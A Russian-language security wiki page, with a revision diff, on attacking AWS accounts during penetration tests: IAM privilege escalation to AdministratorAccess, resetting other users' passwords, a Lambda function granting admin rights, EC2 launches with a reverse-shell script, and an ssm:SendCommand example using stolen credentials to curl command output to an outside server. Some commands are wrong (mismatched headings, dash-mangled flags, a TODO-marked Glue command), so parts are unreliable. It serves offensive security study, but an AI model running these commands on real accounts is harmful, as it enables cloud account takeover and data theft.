Aws — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (ec2-instance-connect:SendSerialConsoleSSHPublicKey)
м (EC2 (Elastic Compute Cloud))
Строка 573: Строка 573:
  
 
* AMI (Amazon Machine Image) - образ виртуальной машины
 
* AMI (Amazon Machine Image) - образ виртуальной машины
 +
 +
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.
  
  
Строка 683: Строка 685:
  
 
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html
 
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html
 +
 +
==== ssm:SendCommand ====
 +
 +
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:
 +
 +
* Знать Instance-ID, на котором запущен сервис SSM
 +
 +
* Свой сервер, на который будет приходить отстук - результат команды.
 +
 +
Команды для эксплуатации:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
 +
aws ssm describe-instance-information --profile stolencreds --region eu-west-1 
 +
# Выполняем команду
 +
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
 +
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
 +
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
 +
 +
# Пример - результат команды на удаленный сервер
 +
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
 +
</syntaxhighlight>
  
 
== ES (ElasticSearch) ==
 
== ES (ElasticSearch) ==

Версия 15:33, 20 марта 2022

AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.

Содержание

Организационные моменты

При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).

Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/

Общие концепции

Службы

Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.


Это экосистема многих сервисов. И AWS стремится увеличить их количество.

Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.


Регионы

AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.

Регионы AWS
Название региона Endpoint(HTTPS)
us-east-2 rds.us-east-2.amazonaws.com

rds-fips.us-east-2.api.aws

rds.us-east-2.api.aws

rds-fips.us-east-2.amazonaws.com

us-east-1 rds.us-east-1.amazonaws.com

rds-fips.us-east-1.api.aws

rds-fips.us-east-1.amazonaws.com

rds.us-east-1.api.aws

us-west-1 rds.us-west-1.amazonaws.com

rds.us-west-1.api.aws

rds-fips.us-west-1.amazonaws.com

rds-fips.us-west-1.api.aws

us-west-2 rds.us-west-2.amazonaws.com

rds-fips.us-west-2.amazonaws.com

rds.us-west-2.api.aws

rds-fips.us-west-2.api.aws

af-south-1 rds.af-south-1.amazonaws.com

rds.af-south-1.api.aws

ap-east-1 rds.ap-east-1.amazonaws.com

rds.ap-east-1.api.aws

ap-southeast-3 rds.ap-southeast-3.amazonaws.com
ap-south-1 rds.ap-south-1.amazonaws.com

rds.ap-south-1.api.aws

ap-northeast-3 rds.ap-northeast-3.amazonaws.com

rds.ap-northeast-3.api.aws

ap-northeast-2 rds.ap-northeast-2.amazonaws.com

rds.ap-northeast-2.api.aws

ap-southeast-1 rds.ap-southeast-1.amazonaws.com

rds.ap-southeast-1.api.aws

ap-southeast-2 rds.ap-southeast-2.amazonaws.com

rds.ap-southeast-2.api.aws

ap-northeast-1 rds.ap-northeast-1.amazonaws.com

rds.ap-northeast-1.api.aws

ca-central-1 rds.ca-central-1.amazonaws.com

rds.ca-central-1.api.aws

rds-fips.ca-central-1.api.aws

rds-fips.ca-central-1.amazonaws.com

eu-central-1 rds.eu-central-1.amazonaws.com

rds.eu-central-1.api.aws

eu-west-1 rds.eu-west-1.amazonaws.com

rds.eu-west-1.api.aws

eu-west-2 rds.eu-west-2.amazonaws.com

rds.eu-west-2.api.aws

eu-south-1 rds.eu-south-1.amazonaws.com

rds.eu-south-1.api.aws

eu-west-3 rds.eu-west-3.amazonaws.com

rds.eu-west-3.api.aws

eu-north-1 rds.eu-north-1.amazonaws.com

rds.eu-north-1.api.aws

me-south-1 rds.me-south-1.amazonaws.com

rds.me-south-1.api.aws

sa-east-1 rds.sa-east-1.amazonaws.com

rds.sa-east-1.api.aws

us-gov-east-1 rds.us-gov-east-1.amazonaws.com
us-gov-west-1 rds.us-gov-west-1.amazonaws.com

Или только регионы (могут пригодиться при переборе):

 1 us-east-2
 2 us-east-1
 3 us-west-1
 4 us-west-2
 5 af-south-1
 6 ap-east-1
 7 ap-southeast-3
 8 ap-south-1
 9 ap-northeast-3
10 ap-northeast-2
11 ap-southeast-1
12 ap-southeast-2
13 ap-northeast-1
14 ca-central-1
15 eu-central-1
16 eu-west-1
17 eu-west-2
18 eu-south-1
19 eu-west-3
20 eu-north-1
21 me-south-1
22 sa-east-1
23 us-gov-east-1
24 us-gov-west-1

Доступы

Консольная утилита(awscli)

Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.

Утилита работает с настроенными профилями.

Файлы

~/.aws/credentials

Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.

У каждого профиля будет указан:

  • Access Key ID
  • Access Key
  • Access Token - не всегда указывается

Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings

Пример содержимого файла (сохранен профиль default):

1 [default]
2 aws_access_key_id=AKIAIOSFODNN7EXAMPLE
3 aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
4 aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk

~/.aws/config

Файл с региональными настройками профиля(регион по-умолчанию).

1 [default]
2 region=us-west-2
3 output=json

~/.aws/cli/cache

Закешированные учетные данные

~/.aws/sso/cache

Закешированные данные Single-Sign-On

Команды

Общее построение команды выглядит как:

1 aws <название_сервиса> <действие> <дополнительные_аргументы>

Примеры:

1 # Вывести все S3-хранилища.
2 aws s3 ls
3 
4 # Создание нового пользователя - сервис IAM
5 aws iam create-user --user-name aws-admin2

Ролевая модель

Почти все описание доступа идет через роли.


Каждая роль состоит из следующих компонентов:

  • Ресурс - цель, кому выдается правило. Может быть:
    • Пользователь
    • Группа, в которой могут быть аккаунты по какому то признаку
    • Другая роль.
  • Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
  • Тип правила(Effect) - разрешение или запрет.
  • Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
  • Условия(Condition) - отдельные условия, например, ip.

Пример политики:

 1 "Statement": [
 2     {
 3       "Effect": "Allow",
 4       "Action": [
 5         "iam:GetGroup",
 6         "iam:GetLoginProfile",
 7         "iam:GetUser",
 8         "iam:ListAccessKeys",
 9         "iam:ListAccountAliases",
10         "iam:ListGroupPolicies",
11         "iam:ListGroups",
12         "iam:ListGroupsForUser",
13         "iam:ListMFADevices",
14         "iam:ListSigningCertificates",
15         "iam:ListUsers",
16         "iam:GetServerCertificate",
17         "iam:ListServerCertificates",
18       ],
19       "Resource": "*"
20     }
21 ]

Определение ролей

Вручную

TODO команды по определению своих ролей

Автоматизированно

Эксплуатация

Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.


Тут будут отдельные роли, которые не прикреплены ни к одному сервису.

Административный доступ

Как выглядит роль с административным доступом:

1 "Statement": [
2     {
3       "Effect": "Allow",
4       "Action": [
5         "*"
6       ],
7       "Resource": "*"
8     }
9 ]


Службы

IAM

Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.


Роли - повышение привилегий

iam:UpdateLoginProfile

Сбросить пароль у других пользователей:

1 aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:PassRole + ec2:RunInstance

См. EC2

iam:PassRole + glue:CreateDevEndpoint

См. Glue

Роли - повышение до админа

iam:AddUserToGroup

Добавить юзера в административную группу:

1 aws iam add-user-to-group --group-name <название_группы> --user-name <логин>

iam:PutUserPolicy

Право добавить своб политику к ранее скомпрометированным обьектам.

1 aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json

iam:CreateLoginProfile

Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.

1 aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:UpdateLoginProfile

Добавить существующую политику к любому пользователю.

1 aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess


iam:AttachGroupPolicy

Добавить существующую политику к любой группе.

1 aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:AttachRolePolicy

Добавить существующую политику к любой роли.

1 aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:CreatePolicy

Создать административную политику.

iam:AddUserToGroup

Добавить пользователя в группу администраторов:

1 aws iam add-user-to-group --group-name target_group --user-name my_username

iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion

Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.

Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.

1 # Создание политики
2 aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
3 # Установка политики по умолчанию.
4 aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile

См. EC2

EBS(Elastic Block Store)

Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).

Роли - управление сервисом

ec2:CreateVolume + ec2:AttachVolume

Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.

1 # Создание Volume из snapshot'а (если требуется подключить snapshot)
2 aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
3 # Подключение Volume к виртуалке EC2

Далее идем на виртуалку и вводим команды:

 1 # Поиск Volume
 2 lsblk
 3 # Проверка есть ли на нем данные
 4 sudo file -s /dev/xvdf
 5 # форматировать образ под ext4 (если неподходящая файловая система)
 6 sudo mkfs -t ext4 /dev/xvdf
 7 # Создаем директорию куда примонтируем позже
 8 sudo mkdir /tmp/newvolume
 9 # Монтируем
10 sudo mount /dev/xvdf /tmp/newvolume/

Диск будет доступен на /tmp/newvolume.


Lambda

Сервис для запуска своего кода в облаке.

Роли - повышение привилегий

lambda:UpdateFunctionCode

Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:

1 aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip

lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole

Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.

Код функции:

1 import boto3
2 def lambda_handler(event, context):
3     client = boto3.client('iam')
4     response = client.attach_user_policy(
5     UserName='my_username',
6     PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
7     )
8     return response

Команды для запуска:

1 # Создание функции
2 aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
3 # Запуск
4 aws lambda invoke --function-name my_function output.txt

Роли - управление

lambda:GetFunction

Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.

Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):

1 # Получить список функций
2 aws lambda list-functions --profile uploadcreds
3 # Получить информацию о Lambda-функции
4 aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
5 # Скачать исходный код по ссылке из предыдущего ответа
6 wget -O lambda-function.zip url-from-previous-query --profile uploadcreds

Glue

Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.

Роли - повышение привилегий

glue:UpdateDevEndpoint

Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:

1 # TODO: это не обновление параметров, надо обновить команду
2 aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub

glue:CreateDevEndpoint + iam:PassRole

Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:

1 aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub

S3

Файловое хранилище.

Формат ссылки:

1 https://{user_provided}.s3.amazonaws.com

CloudFront

Сервис сети доставки контента (CDN).


Формат ссылки:

1 https://{random_id}.cloudfront.net

EC2 (Elastic Compute Cloud)

EC2 (Amazon Elastic Compute Cloud) == VPS


Состоит из:

  • Instance - название виртуальной машины
  • AMI (Amazon Machine Image) - образ виртуальной машины
  • SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.


Формат ссылки:

1 ec2-{ip-seperated}.compute-1.amazonaws.com

Роли - повышение привилегий

ec2:RunInstance + iam:PassRole

Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.

1. Запуск машины c новой прикрепленной ролью

2. Подключение к ней

3. Работа с прикрепленной ролью

Создание EC2 с известным SSH-ключем:

1 aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456

Второй вариант - скрипт для запуска:

1 aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh

Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.


Роли - повышение до админа

ec2:AssociateIamInstanceProfile

Позволяет менять IAM политики/роли/пользователей

ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole

Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.

Роли - управление

ec2:CreateVolume + ec2:AttachVolume

См. EBS.

ec2:* (Копирование EC2)

Позволяет скопировать EC2 используя AMI-images:

 1 # Создаем новый AMI из Instance-ID
 2 aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1  
 3 
 4 # Добавляем наш ключ в систему
 5 aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  
 6 
 7 # Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) 
 8 aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
 9 
10 # Проверяем запустился ли инстанс
11 aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 
12 
13 # Не обязательно - редактируем группу инстанса
14 aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1
15 
16 # В конце работы - останавливаем и удаляем инстанс
17 aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
18 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

ec2-instance-connect:SendSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

1 # Получаем информацию об инстансе, который будем атаковать.
2 aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
3 
4 # Добавляем ключ к EC2-инстансу.
5 aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.


 1 # Получаем информацию об инстансе, который будем атаковать.
 2 aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
 3 
 4 # Добавляем ключ к EC2-инстансу.
 5 aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1
 6 
 7 # Подключаемся (кроме GovCloud US региона)
 8 ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws
 9 # Подключаемся (только для GovCloud US региона)
10 ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com
11 
12 # В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)
13 sudo systemctl restart serial-getty@ttyS0
14 # Если не сработало - мб требуется ребутать сервер.


Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html

ssm:SendCommand

Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:

  • Знать Instance-ID, на котором запущен сервис SSM
  • Свой сервер, на который будет приходить отстук - результат команды.

Команды для эксплуатации:

1 # Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
2 aws ssm describe-instance-information --profile stolencreds --region eu-west-1  
3 # Выполняем команду
4 aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
5 # Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
6 aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
7 
8 # Пример - результат команды на удаленный сервер
9 $ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1

ES (ElasticSearch)

ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.

Формат ссылки:

1 https://{user_provided}-{random_id}.{region}.es.amazonaws.com


ELB (Elastic Load Balancing)

Балансировщик нагрузки.


Формат ссылки (elb_v1):

1 http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443

Формат ссылки (elb_v2):

1 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com

RDS (Relational Database Service)

Облачная реляционная база данных (на выбор).

Формат ссылки:

1 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
2 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432

Route 53

Настраиваемая служба DNS.

Формат ссылки:

1 {user_provided}

API Gateway

API-сервис, который будет доступен почти со всех серверов.

Формат ссылки:

1 https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
2 https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}

CloudSearch

Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.


Формат ссылки:

1 https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com

Transfer Family

Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).

Формат ссылки:

1 sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
2 ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
3 ftp://s-{random_id}.server.transfer.{region}.amazonaws.com


IoT (Internet Of Things)

Сервис для управления IoT-устройствами.

Формат ссылки:

1 mqtt://{random_id}.iot.{region}.amazonaws.com:8883
2 https://{random_id}.iot.{region}.amazonaws.com:8443
3 https://{random_id}.iot.{region}.amazonaws.com:443

MQ

Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.


Формат ссылки:

1 https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
2 ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617

MSK (Managed Streaming for Apache Kafka)

Сервис потоковой передачи данных в Apache Kafka.


Формат ссылки:

1 b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
2 {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com

Cloud9

Облачная интегрированная среда разработки(IDE) используя только браузер.

Формат ссылки:

1 https://{random_id}.vfs.cloud9.{region}.amazonaws.com


MediaStore

Cервис хранилища AWS, оптимизированный для мультимедийных материалов.


Формат ссылки:

1 https://{random_id}.data.mediastore.{region}.amazonaws.com


Kinesis Video Streams

Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.


Формат ссылки:

1 https://{random_id}.kinesisvideo.{region}.amazonaws.com


Elemental MediaConvert

Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.

Формат ссылки:

1 https://{random_id}.mediaconvert.{region}.amazonaws.com


Elemental MediaPackage

Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.


Формат ссылки:

1 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

Утилиты

Вычисление ролей

enumerate-iam

github.com:andresriancho/enumerate-iam.git


Эксплуатация

Другое

aws_consoler

https://github.com/NetSPI/aws_consoler

All-In-One

pacu

ScoutSuite

https://github.com/nccgroup/ScoutSuite

Ссылки

Статьи

Лаборатории

Damn Vulnerable Cloud Application

SadCloud

Flaws

Краткие заметки

PayloadAllTheThings